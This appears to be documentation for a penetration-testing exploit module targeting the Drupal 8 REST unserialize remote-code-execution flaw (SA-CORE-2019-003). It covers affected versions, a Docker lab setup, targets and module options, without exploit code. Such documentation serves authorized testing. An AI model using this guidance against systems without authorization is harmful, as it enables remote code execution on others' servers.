## Introduction

This module exploits a PHP `unserialize()` vulnerability in Drupal RESTful
Web Services by sending a crafted request to the `/node` REST endpoint.

As per [SA-CORE-2019-003], the initial remediation was to disable `POST`,
`PATCH`, and `PUT`, but Ambionics [discovered] that `GET` was also vulnerable
(albeit cached).

Drupal updated [SA-CORE-2019-003] with [PSA-2019-02-22] to notify users of
this alternate vector.

[SA-CORE-2019-003]: https://www.drupal.org/sa-core-2019-003
[PSA-2019-02-22]:   https://www.drupal.org/psa-2019-02-22
[discovered]:       https://www.ambionics.io/blog/drupal8-rce

Drupal < 8.5.11 and < 8.6.10 are vulnerable.

## Setup

`docker run -dp 80:80 drupal:8.6.9` and enable the HAL, HTTP Basic
Authentication, RESTful Web Services, and Serialization modules at
`/admin/modules`.

Clear all caches at `/admin/config/development/performance` to repeat
exploitation if targeted nodes are cached.

## Targets

```
Id  Name
--  ----
0   PHP In-Memory
1   Unix In-Memory
```

## Options

**METHOD**

Set this to the HTTP method to use. `POST` and `GET` (cached) are known
to work.

**NODE**

Set this to a node ID on the target when using the `GET` method.

**DUMP_OUTPUT**

Enable this if you'd like to see HTTP responses, including command
output. Defaults to `false` unless `cmd/unix/generic` is your payload.
